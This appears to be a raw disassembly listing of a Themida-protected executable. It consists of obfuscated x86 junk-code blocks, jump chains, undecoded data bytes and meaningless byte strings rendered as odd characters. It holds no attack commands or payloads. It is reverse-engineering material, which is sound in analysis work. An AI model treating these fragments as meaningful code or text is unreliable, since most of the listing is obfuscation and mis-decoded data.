		dd 0BFE381F3h, 0C11FEB39h, 814302E3h, 7F9D7FC3h, 5BDE01DFh
		dd 9C868h, 240C8900h, 2B9h, 0AEE8100h, 11DA309h, 7AE951CEh
		dd 68FFFF75h, 17A8h, 1408E9h, 243C8B00h, 4C481h, 0C7810000h
		dd 4, 0FF6A4FE9h, 4C481FFh, 81000000h, 4121ECE9h, 81D9014Bh
		dd 4121ECC1h, 0ED88E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A656:				; CODE XREF: Themida_:0055FD7Fj
		mov	edi, esp
		add	edi, 4
		jmp	loc_560C5E
; ---------------------------------------------------------------------------
aSoe		db ')ы[И╝e',0
		db 0
; ---------------------------------------------------------------------------


loc_55A66B:				; CODE XREF: Themida_:0055C219j
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_555FA6
; ---------------------------------------------------------------------------
		dd 2474FF57h, 2434FF04h, 0FF2434FFh, 835F2434h,	0AE6804C4h
		dd 89000003h, 0E9542434h, 16D5h, 4EC81h, 2E90000h, 5300000Ch
		dd 64D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A6AD:				; CODE XREF: Themida_:0055999Bj
		push	eax
		jmp	loc_561F40
; ---------------------------------------------------------------------------
		db 68h
		dd 31FC776Bh, 5EDC15Dh,	6132E9h
		db 0
byte_55A6C1	db 8Bh,	4, 24h		; DATA XREF: Themida_:00550EA4o
		dd 9612E9h, 50E28900h, 4B8h, 58C20100h,	2C281h,	14870000h
		dd 8F4DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A6E2:				; CODE XREF: Themida_:00551158j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_553449
; ---------------------------------------------------------------------------
aAXsgl		db '(ц─ц=XИ┐╚',0
		db 0
; ---------------------------------------------------------------------------


loc_55A6FB:				; CODE XREF: Themida_:00563C32j
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_557842
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6609B951h, 0E1810A4Eh, 1753329h, 5D34F181h, 54680E73h
		dd 0E9000038h, 2C0Bh
; ---------------------------------------------------------------------------


loc_55A728:				; CODE XREF: Themida_:0055C989j
		add	edx, 657F196Ch
		jmp	loc_55998B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 8758C301h, 55C241Ch, 294D69C2h, 0BE2C9305h, 76AE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A74E:				; CODE XREF: Themida_:005577F6j
		pop	ebp
		add	eax, 51D02C2Eh
		push	dword ptr [eax]
		mov	ecx, [esp]
		jmp	loc_55F01D
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 4EC8359h, 0BA241489h, 41326614h, 3EAC142h, 8FE9DAF7h
		dd 56FFFFCBh, 5A3834BEh, 9E69E909h, 34FF0000h, 0C4835B24h
		dd 0E6895604h, 4C681h, 0E6E90000h, 81000077h, 4C4h, 0E0895000h
		dd 405h, 42D00h, 4870000h, 24248B24h, 0E9241C89h, 0FFFFE220h
		dd 0EE896656h, 5EF38966h, 9918E95Dh, 34FF0000h,	0D39E924h
		dd 55660000h, 6CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A7D5:				; CODE XREF: Themida_:00557E95j
		add	esp, 4
		sub	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0D2FFE924h, 0C888FFFFh, 0E7E9F188h, 5D00001Eh, 0E902E6C1h
		dd 0FFFFA759h
; ---------------------------------------------------------------------------


loc_55A800:				; CODE XREF: Themida_:0055D51Cj
		push	777Fh
		jmp	loc_560822
; ---------------------------------------------------------------------------
		dw 3433h
		dd 0D050E924h, 34FFFFFFh, 0EC815B24h, 4, 4DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A821:				; CODE XREF: Themida_:00556038j
		shl	edi, 6
		inc	edi
		or	edi, 0ADC02C9h
		add	edi, 6BAE925Ch
		sub	esi, edi
		pop	edi
		jmp	loc_5620E2
; ---------------------------------------------------------------------------


loc_55A839:				; CODE XREF: Themida_:00558D9Cj
		pop	esp
		jmp	loc_55115D
; ---------------------------------------------------------------------------


loc_55A83F:				; CODE XREF: Themida_:005592F0j
		mov	edi, 0BDC3B392h
		xor	edx, edi
		pop	edi
		add	ebp, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5631B7
; ---------------------------------------------------------------------------
		dd 2434FF5Bh, 4C48359h,	1C8BDF31h, 4C48124h, 1000000h
		dd 2434FFFEh, 0C7D2E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A872:				; CODE XREF: Themida_:005645C4j
		mov	edx, 4
		jmp	loc_5523CE
; ---------------------------------------------------------------------------
		dd 5366D000h, 6C0457B3h, 6C2CD828h, 241C8B66h, 2C481h
		dd 148B0000h, 4C48324h,	0FF8739E9h, 5AD389FFh, 295BDE89h
		dd 0DFE0E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A8AA:				; CODE XREF: Themida_:00552751j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_556FEB
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 0E8685AD5h, 89000026h, 90682434h, 0E9632338h
		dd 5E0Ah, 4603E6C1h, 0FEFDF681h, 36E90B1Fh, 8B000058h
		dd 0C483240Ch, 24048704h, 0D1E9515Ch, 68FFFFC9h, 70D1h
		dd 54240C89h, 81240C8Bh, 4C4h, 4BE5600h, 0E9000000h, 27E7h
		dd 0B9240C89h, 63F3B62h, 0DADC181h, 1DE9110Ah, 8000002Eh
		dd 0CA8887E9h, 5AB6859h, 1C890000h, 8067B724h, 4DE904F7h
		dd 100009Eh, 0DEED81D5h, 8B293A35h, 0C4812414h,	4, 4C581h
		dd 2C870000h, 0EC835C24h, 24148904h, 4BAh, 0E9D30100h
		dd 0A518h, 56D6C281h, 83E9485Ch
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A987:				; CODE XREF: Themida_:0055830Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55175D
; ---------------------------------------------------------------------------


loc_55A99A:				; CODE XREF: Themida_:00552228j
		push	55E3h
		jmp	loc_5552AB
; ---------------------------------------------------------------------------


loc_55A9A4:				; CODE XREF: Themida_:00555EA5j
		xor	ebx, [esp]
		pop	esp
		push	edi
		push	edx
		mov	edx, 37E16AC8h
		dec	edx
		add	edx, 485D2270h
		jmp	loc_5602F4
; ---------------------------------------------------------------------------
byte_55A9BB	db 56h			; DATA XREF: Themida_:00550E54o
		dd 0F655B668h, 109FE972h, 3C310000h, 243C3324h,	2357E95Ch
		db 2 dup(0)
word_55A9D2	dw 8B66h		; DATA XREF: Themida_:00550F10o
		dd 1682404h, 89000017h,	58542404h, 1AE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A9E5:				; CODE XREF: Themida_:0055D495j
		mov	esi, eax
		pop	eax
		not	esi
		shl	esi, 2
		jmp	loc_55399E
; ---------------------------------------------------------------------------
word_55A9F2	dw 31ADh		; DATA XREF: Themida_:00550D64o
		dd 165C68D8h, 34890000h, 51CE6824h, 685E7E9Dh, 6391h, 52243C89h
		dd 679A568h, 24148B5Eh,	4C481h,	0BD550000h, 1, 835DEA01h
		dd 0C168FFEAh, 0E9000033h, 0FFFF7DD7h
; ---------------------------------------------------------------------------


loc_55AA30:				; CODE XREF: Themida_:00555DBCj
		mov	edi, 76E05501h
		neg	edi
		add	edi, 8502AD91h
		jmp	loc_553AB5
; ---------------------------------------------------------------------------
		dw 5768h
		dd 8900006Fh, 0BE56241Ch, 0EA6367Ch, 6AC068h, 0BCDFE900h
		dd 1C33FFFFh, 89665C24h, 0F8E92404h, 5CFFFF64h,	0FFE701E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AA6D:				; CODE XREF: Themida_:00553912j
		mov	edx, [esp]
		jmp	loc_56322B
; ---------------------------------------------------------------------------
		db 1, 0C6h, 58h
		dd 8904EC83h, 2168242Ch, 89000028h, 0D2BA2414h,	56077071h
		dd 0F589D689h, 8124348Bh, 4C4h,	6AE95A00h, 5F00008Dh, 7E69F12Dh
		dd 0DDEA8162h, 81466407h, 2F00D2C2h, 81C2013Eh,	2F00D2EAh
		dd 0DDBE563Eh, 1466407h, 66D0E9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AAC6:				; CODE XREF: Themida_:00557B5Ej
		push	7540h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_55D49A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 89502404h, 3286E9E0h, 0C4810000h,	4, 0F70E781h
		dd 895215AAh, 7769E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AB0A:				; CODE XREF: Themida_:0055E230j
		push	ecx
		mov	ecx, 293A0DF1h
		dec	ecx
		shr	ecx, 7
		xor	ecx, 7D3A24CFh
		push	eax
		mov	eax, 175733Eh
		and	eax, 269950D6h
		sub	eax, 0D9DFDEEAh
		xor	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 5B5921F4h
		sub	ecx, ebp
		jmp	loc_55662D
; ---------------------------------------------------------------------------


loc_55AB3A:				; CODE XREF: Themida_:00554CB4j
		mov	al, ch
		not	al
		mov	ch, al
		pop	ax
		sub	ch, 0Bh
		mov	dl, ch
		pop	ecx
		sub	bl, 7Bh
		sub	bl, dl
		push	eax
		mov	ah, 7Bh
		sub	bl, 85h
		add	bl, ah
		add	bl, 85h
		jmp	loc_551550
; ---------------------------------------------------------------------------
		db 58h,	87h, 1Ch
		dd 4015C24h, 4EC8324h, 0E9243C89h, 0FFFFD34Ah
; ---------------------------------------------------------------------------


loc_55AB70:				; CODE XREF: Themida_:0055724Ej
		pop	esi
		xor	edi, 5216265Dh
		push	ebp
		push	ebx
		push	edx
		push	45A1667Ah
		pop	edx
		add	edx, 2548393Fh
		sub	edx, 5FBE1FE0h
		mov	ebx, edx
		pop	edx
		push	ebx
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5582A9
; ---------------------------------------------------------------------------


loc_55AB9F:				; CODE XREF: Themida_:0055C3B6j
		xchg	edx, [esp]
		jmp	loc_56335B
; ---------------------------------------------------------------------------
		db 5Ah
		dd 24048153h, 62E4064h,	8124048Bh, 4C4h, 40642D00h, 815B062Eh
		dd 431B69C6h, 23C68172h, 2927E327h, 23EE81C6h, 0E927E327h
		dd 23A5h, 81F8E959h, 0B0500000h, 0BA11E912h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABE6:				; CODE XREF: Themida_:00554777j
		add	eax, edi
		sub	eax, 0C412036h
		push	79FCh
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, eax
		push	eax
		jmp	loc_5555B6
; ---------------------------------------------------------------------------


loc_55AC02:				; CODE XREF: Themida_:00565676j
		add	eax, 7FC8E306h
		jmp	loc_55DE6C
; ---------------------------------------------------------------------------
		dd 0A7364FB8h, 58C60128h, 0FF6F79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AC19:				; CODE XREF: Themida_:005569E1j
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_562E47
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0BE560000h, 65AD7739h, 0FF6684E9h, 0C3BB53FFh
		dd 2924BE41h, 0BE565BDEh, 5B250511h, 4E04EEC1h,	7F0ECE81h
		dd 0C0E9383Ah, 83000091h, 48704C0h, 0F6E95C24h,	83FFFFA0h
		dd 0BDE904ECh
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AC7F:				; CODE XREF: Themida_:00554052j
		and	eax, ecx
		jmp	loc_557546
; ---------------------------------------------------------------------------
		dw 5BEh
		dd 0E9698B72h, 0FFFFF002h
; ---------------------------------------------------------------------------


loc_55AC90:				; CODE XREF: Themida_:00554C10j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55D7E1
; ---------------------------------------------------------------------------


loc_55AC9A:				; CODE XREF: Themida_:0055960Aj
		pop	eax
		sub	eax, 29137C5h
		add	eax, esi
		jmp	loc_563040
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 58C10100h, 5C240C87h, 51E08950h, 52597CB9h, 6BC98173h
		dd 0C123857Bh, 0D9F708E1h, 9DAC981h, 0A3E964DAh, 8B00006Ch
		dd 8953240Ch, 4C381E3h,	83000000h, 69E904C3h, 5200003Eh
		dd 0F334B8BAh, 0C9BE561Bh, 466F0F5Eh, 6565F681h, 0AE96B6Bh
		dd 8900006Bh, 5E542434h, 0FFDF4CE9h, 243487FFh,	9242E95Ch
		dd 0FF52FFFFh, 0E9042474h, 543Fh, 0FF623EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AD21:				; CODE XREF: Themida_:005518BAj
		mov	edx, 3B825BF3h
		neg	edx
		and	edx, 5EED1111h
		jmp	loc_563EDC
; ---------------------------------------------------------------------------
		db 66h
		dd 835AD331h, 896602ECh, 0CBE9241Ch, 0BF00006Fh, 5B9A48FDh
		dd 3A0BF781h, 0EF810463h, 5FF972F2h, 835FFE01h,	348704EEh
		dd 0D95CE924h, 0EE81FFFFh, 0C6E08EAh, 0D92C681h, 0D6012C5Dh
		dd 6C09BF57h, 0E99764B3h, 0FFFF941Ah, 2079E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD82:				; CODE XREF: Themida_:0055BFD1j
		pop	ebx
		jmp	loc_55D0C9
; ---------------------------------------------------------------------------
		dd 0D56DC781h, 0FA295221h, 2D3CE9h, 0FD885100h,	8359EE88h
		dd 0BEE904ECh
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ADA3:				; CODE XREF: Themida_:00554B45j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_562740
; ---------------------------------------------------------------------------
aI4Hd		db '┴4$hD"',0
		dd 240C8900h, 8E043368h, 240C8B61h, 0E9E38953h,	0FFFFDECCh
; ---------------------------------------------------------------------------


loc_55ADCC:				; CODE XREF: Themida_:00557952j
		mov	ebx, 0E6B4014Ch
		jmp	loc_55EF6D
; ---------------------------------------------------------------------------


loc_55ADD6:				; CODE XREF: Themida_:0056096Fj
		mov	dh, al
		mov	bl, dh
		pop	edx
		pop	eax
		pop	ecx
		jmp	loc_562ACE
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0DF4276ACh, 215DEE29h, 2434FFF1h, 4C4815Eh, 50000000h
		dd 96CCE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ADFE:				; CODE XREF: Themida_:00560303j
		push	dword ptr [esp]
		jmp	loc_5513F4
; ---------------------------------------------------------------------------


loc_55AE06:				; CODE XREF: Themida_:005598B5j
		not	edi
		add	edi, 5C250FD3h
		jmp	loc_55431C
; ---------------------------------------------------------------------------
		db 81h
		dd 940B29C5h, 64BB533Eh, 29293E23h, 0F5815BDDh,	651513Fh
		dd 4ACBE9h, 246C0100h, 3C8B5D04h, 4C48324h, 246D68h, 242C8900h
		dd 0E204F1BDh, 72BB5338h, 4B1C4743h, 141BBE56h,	0C7E92490h
		dd 8900004Ch, 60B5240Ch, 0FE07EDC0h, 0EDB753C5h, 80C5EF80h
		dd 0F78077E7h, 5BFD28DFh, 0B1516653h, 66CF8827h, 0DAC78059h
		dd 1C8BFD00h, 4C48124h,	52000000h, 0C58015B6h, 66F50026h
		dd 0E926B252h, 0FFFFBF7Ch, 55242489h, 0FFA743E9h, 665A66FFh
		dd 0E956665Dh, 0FFFFABBDh, 9CBE5657h, 0E901BF5Bh, 0AE28h
		dd 932DE801h, 565DBE2Ch, 0FFC580E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AEC5:				; CODE XREF: Themida_:0055140Ej
		pop	edx
		sub	edi, ebp
		sub	edi, 1E1B3063h
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_560CBF
; ---------------------------------------------------------------------------
		db 83h,	0E9h, 4
		dd 0E9240C87h, 0FFFF9D00h
dword_55AEF8	dd 0E9028F66h, 0FFFF605Fh, 8358C509h, 0C581FFEDh, 0D77A24F5h
					; DATA XREF: Themida_:00550E10o
		dd 4E27B951h, 0E18118CCh, 41CF3D6Eh, 6FB5C981h,	0E1817734h
		dd 162735E3h, 1373E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AF29:				; CODE XREF: Themida_:00555782j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	esi, 4
		push	edx
		mov	edx, 5A2634CFh
		shr	edx, 3
		inc	edx
		sub	edx, 53C227BBh
		jmp	loc_5657BE
; ---------------------------------------------------------------------------


loc_55AF50:				; CODE XREF: Themida_:00553CE9j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_557741
; ---------------------------------------------------------------------------
		db 68h,	0BCh, 25h
		dd 14890000h, 88C68824h, 24148BF3h, 4C481h, 8B660000h
		dd 0C4832404h, 0DFA1E902h, 0D8E9FFFFh, 59FFFF5Fh, 535AF430h
		dd 0F38080B3h, 0A3E1E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AF96:				; CODE XREF: Themida_:00559F12j
		push	esi
		mov	esi, esp
		jmp	loc_563674
; ---------------------------------------------------------------------------
		dw 7C01h
		dd 34FF0424h, 0D752E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFAA:				; CODE XREF: Themida_:0056480Fj
		dec	ebx
		push	eax
		mov	eax, 43C14ACh
		jmp	loc_5593A9
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 1CBF6853h, 2BE94FBAh, 81FFFFD7h, 4C4h, 1C4F0900h
		dd 83240C8Bh, 84E904C4h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFDB:				; CODE XREF: Themida_:005593CAj
		push	ecx
		jmp	loc_557146
; ---------------------------------------------------------------------------


loc_55AFE1:				; CODE XREF: Themida_:0055F17Dj
		sub	edi, 4
		jmp	loc_5627CE
; ---------------------------------------------------------------------------
		dd 4BAh, 8BD70100h, 0C4812414h,	4, 0BCB85051h, 0E9213174h
		dd 8BB0h
; ---------------------------------------------------------------------------


loc_55B008:				; CODE XREF: Themida_:005644F2j
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_55FBF3
; ---------------------------------------------------------------------------
		dd 0C0FEF888h, 8058C788h, 0EE80AEEFh, 72C6803Dh, 0CAE9FE00h
		dd 81FFFFC4h, 0F92023EDh, 604CE97Fh, 0E1F6FFFFh, 0CCB60F66h
		dd 75ECE9h, 77DB0500h, 1AE954F7h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B047:				; CODE XREF: Themida_:00553FFDj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55FE00
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0EE830000h, 0FC97E904h, 487FFFFh, 0E9C15C24h
		dd 0E9C00900h, 55Ch, 81240C8Bh,	4C4h, 8BFE3100h, 4E9243Ch
		dd 0B9FFFFF7h, 199E1FCAh, 295FF931h, 240C8BCAh,	4C481h
		dd 0A8E90000h, 5700008Fh, 0FF640CE9h, 240481FFh, 4, 81243C8Bh
		dd 4ECh, 241C8900h, 0C3815B54h,	4, 0FFF3A1E9h, 52D831FFh
		dd 0C281E289h, 4, 57BE9h
		db 0
byte_55B0E1	db 0FFh, 77h, 40h	; DATA XREF: Themida_:00550DA0o
		dd 0FF5E76E9h, 0E8EB80FFh, 28ACEB80h, 0A62DE9C3h, 0EB810000h
		dd 2237569Ah, 284E6855h, 3C890000h, 3D406824h, 6FE97C3Eh
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55B10F:				; CODE XREF: Themida_:00553DD4j
		mov	ch, 4
		add	ch, dh
		pop	edx
		push	eax
		mov	al, 0B2h
		xchg	bh, al
		dec	bh
		xchg	bh, al
		add	al, 4Ch
		shr	al, 2
		sub	al, 5Bh
		add	al, 40h
		jmp	loc_559D4D
; ---------------------------------------------------------------------------
		db 81h
		dd 85FC77C1h, 59CF29E0h, 0C781F701h, 415B66E0h,	2BB535Eh
		dd 1000000h, 7D66E9DFh,	4BDFFFFh, 1000000h, 5D04246Ch
		dd 8124148Bh, 4C4h, 4C28100h, 83000000h, 0E95204C2h, 7A96h
; ---------------------------------------------------------------------------


loc_55B16C:				; CODE XREF: Themida_:0055D681j
		add	ebx, 15D5787Ah
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
word_55B17E	dw 8B66h		; DATA XREF: Themida_:00550F08o
		dd 0EC832404h, 241C8904h, 0FFE30EE9h, 4C581FFh,	83000000h
		dd 2C3304EDh, 242C3124h, 5C242C33h, 0B1240C89h,	0FED1F623h
		dd 2BC180C1h, 8072C980h, 0F18074F1h, 21F180F2h,	4EC81h
		dd 35E90000h, 8000006Eh, 0E2C09BF2h, 0C7C28003h, 285DF280h
		dd 0C3285AD3h, 0B39E9h,	0FF352C00h, 32E92434h, 8BFFFFDBh
		dd 4292424h, 70E99C24h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B1EF:				; CODE XREF: Themida_:0055779Cj
		pop	ebp
		mov	ebp, 1AB5BD0h
		jmp	loc_563137
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 5D5DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B202:				; CODE XREF: Themida_:005589ACj
		xor	ebp, 15F31270h
		xor	ebp, 0D365F8F0h
		push	ecx
		jmp	loc_554820
; ---------------------------------------------------------------------------
		dd 0DF5FE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B21A:				; CODE XREF: Themida_:0055EF68j
		neg	edx
		push	ecx
		mov	ecx, 68CA7209h
		xor	ecx, 1E9E4D3Fh
		add	edx, ecx
		pop	ecx
		sub	edi, edx
		pop	edx
		jmp	loc_558E09
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 24148924h, 1CE99C50h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B243:				; CODE XREF: Themida_:00558A81j
		sub	ecx, 37D945F5h
		xor	ecx, 1E7629F7h
		add	ecx, 0CCC24D6h
		jmp	loc_556653
; ---------------------------------------------------------------------------
word_55B25A	dw 77FFh		; DATA XREF: Themida_:00550CD4o
		dd 59669D1Ch, 2414D366h, 5CF5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B26A:				; CODE XREF: Themida_:0056391Ej
		mov	edx, ebx
		pop	ebx
		push	2152h
		jmp	loc_5623BF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EC8306EEh, 24148904h, 823E0BAh, 8BD60943h, 0C4812414h
		dd 4, 6469EE81h, 0EEC14E51h, 46D6F708h,	0C95FC681h, 565500F4h
		dd 0FF654FE9h, 240C89FFh, 88C28852h, 93B9E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2B6:				; CODE XREF: Themida_:005548FDj
		add	esi, 1
		xchg	esi, ebp
		inc	ebp
		and	ebp, 4BE413B6h
		inc	ebp
		sub	ebp, 7E447FE7h
		add	ebp, 75846D54h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_564D6B
; ---------------------------------------------------------------------------


loc_55B2EB:				; CODE XREF: Themida_:00552534j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5641A9
; ---------------------------------------------------------------------------


loc_55B2F6:				; CODE XREF: Themida_:005608D4j
		dec	esi
		and	esi, 1C2D3ECEh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2ECB044Eh
		and	esi, eax
		mov	eax, [esp]
		add	esp, 4
		shl	esi, 1
		push	ebx
		mov	ebx, 8B3020Ah
		add	esi, ebx
		pop	ebx
		sub	edx, esi
		jmp	loc_55D558
; ---------------------------------------------------------------------------


loc_55B328:				; CODE XREF: Themida_:00560E52j
		sub	eax, esi
		pop	esi
		push	ebp
		push	3833h
		mov	[esp], edx
		mov	edx, 799402D1h
		mov	ebp, edx
		pop	edx
		add	ebp, 0C0CBFD5Ah
		push	ebx
		mov	ebx, 3579204Dh
		add	ebx, 579D2134h
		jmp	loc_559F33
; ---------------------------------------------------------------------------
aYsdm		db 'YИdM',0
		db 0
; ---------------------------------------------------------------------------


loc_55B359:				; CODE XREF: Themida_:005535E5j
		push	esi
		mov	esi, 29481A5Eh
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_560A59
; ---------------------------------------------------------------------------


loc_55B36D:				; CODE XREF: Themida_:00563B7Cj
		sub	ebx, 3AAD04C2h
		add	ebx, 2402AE27h
		jmp	loc_562821
; ---------------------------------------------------------------------------
		dw 0F75Fh
aGskc		db 'вGИk≈',0
		db 0
; ---------------------------------------------------------------------------


loc_55B387:				; CODE XREF: Themida_:0055D208j
		mov	esi, ebp
		pop	ebp
		jmp	loc_55CF14
; ---------------------------------------------------------------------------
		db 81h
		dd 43350CF3h, 5BDA3129h, 9034E9h, 5DE80100h, 3868F801h
		dd 0E9000029h, 628Ch
; ---------------------------------------------------------------------------


loc_55B3AC:				; CODE XREF: Themida_:0055E677j
		sub	ecx, 7DAA6826h
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_55B3C9:				; CODE XREF: Themida_:0055FBE2j
		push	ebx
		mov	ebx, 72880A38h
		push	esi
		mov	esi, 3B941DAh
		jmp	loc_553338
; ---------------------------------------------------------------------------
		db '^hл',0Dh,0
		align 10h
aIWVVwbEho	db '┴,$W©',27h,'v ^VW│,$╔H╝',0
aBEho		db '^│ф╔H╝',0
		db 89h,	0F5h, 5Eh
		dd 33BB535Fh, 21659246h, 0F7455BDDh, 81E5D1DDh,	2691DBC5h
		dd 5023E999h, 0D6010000h, 0FF70DFE9h, 240C89FFh, 7BE9D188h
		dd 0B8FFFF76h, 5BDF2285h, 48BC309h, 4C48124h, 52000000h
		dd 0B27186BAh, 5C28124h, 312E06EBh, 0D524E9D3h,	8368FFFFh
		dd 8900003Fh, 0F4E92424h, 55FFFF98h, 0BBBB6653h, 0E48CE914h
		db 2 dup(0FFh)
word_55B462	dw 8B66h		; DATA XREF: Themida_:00550D7Co
		dd 8953240Ch, 4BD55E3h,	81000000h, 614566EBh, 81EB0173h
		dd 614566C3h, 0B8E95D73h
		db 0A5h, 2 dup(0)
byte_55B483	db 66h			; DATA XREF: Themida_:00550CF8o
		dd 6824048Bh, 738Ch, 54240C89h,	55535559h, 0D74B7D68h
		dd 0ED815D44h, 0FE39497Bh, 0C15DEB89h, 0EBD103EBh, 7246EB81h
		dd 0CB810968h, 17F27870h, 0FFDD64E9h, 241489FFh, 0FFB450E9h
		dd 4ED83FFh, 8B242C87h,	34892424h, 4499E924h, 34FF0000h
		dd 25416887h, 2C890000h, 7ACEBD24h, 0E5C123EDh,	2EDC104h
		dd 0CF7F581h, 57503925h, 0EF43D6BFh, 503B82Dh, 0F83145B5h
		dd 0C53055Fh, 0F9E9FFD0h, 5EFFFFF9h, 81E18951h,	4C1h, 4C18100h
		dd 87000000h, 0AE9240Ch, 50FFFFD8h, 536116B8h, 5E8C174h
		dd 0A7408505h, 0AE50E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B532:				; CODE XREF: Themida_:00559B85j
		sub	ecx, 7B5F539Ch
		sub	ecx, 7D575255h
		jmp	loc_55A342
; ---------------------------------------------------------------------------
aUh_q		db 'Uh_q',0
		dd 24248900h, 4240481h,	0E9000000h, 0F45h, 0E98045B1h
		dd 39C3802Fh, 0EB80CB00h, 73E95939h, 0BDFFFFF6h, 4D8B602Ch
		dd 0F5BED81h, 0EA813CAEh, 678D3F7Dh, 8DE9EA29h,	5BFFFFEDh
		dd 885AD588h, 0B8E9592Ah, 8300004Eh, 0FF5504C4h, 0FF042474h
		dd 565D2434h, 6C29E954h, 0E981FFFFh, 1DBC62ABh,	0FF7FE2E9h
		db 0FFh
byte_55B5AD	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550E5Co
		dd 2DFE6824h, 3C890000h, 9280E924h, 7BAFFFFh, 689AC7D9h
		dd 210Ah, 52240489h, 2C4920BAh,	8AEA811Fh, 0E925935Bh
		dd 90CDh, 0D86C840Fh, 0DA68FFFFh, 89000016h, 34FF241Ch
		dd 2434FF24h, 6F34E9h, 1CF75300h, 0F3815B24h, 3EE476A8h
		dd 7D91C381h, 92E95094h, 8B000051h, 0C4812434h,	4, 0E92434FFh
		dd 5407h
; ---------------------------------------------------------------------------


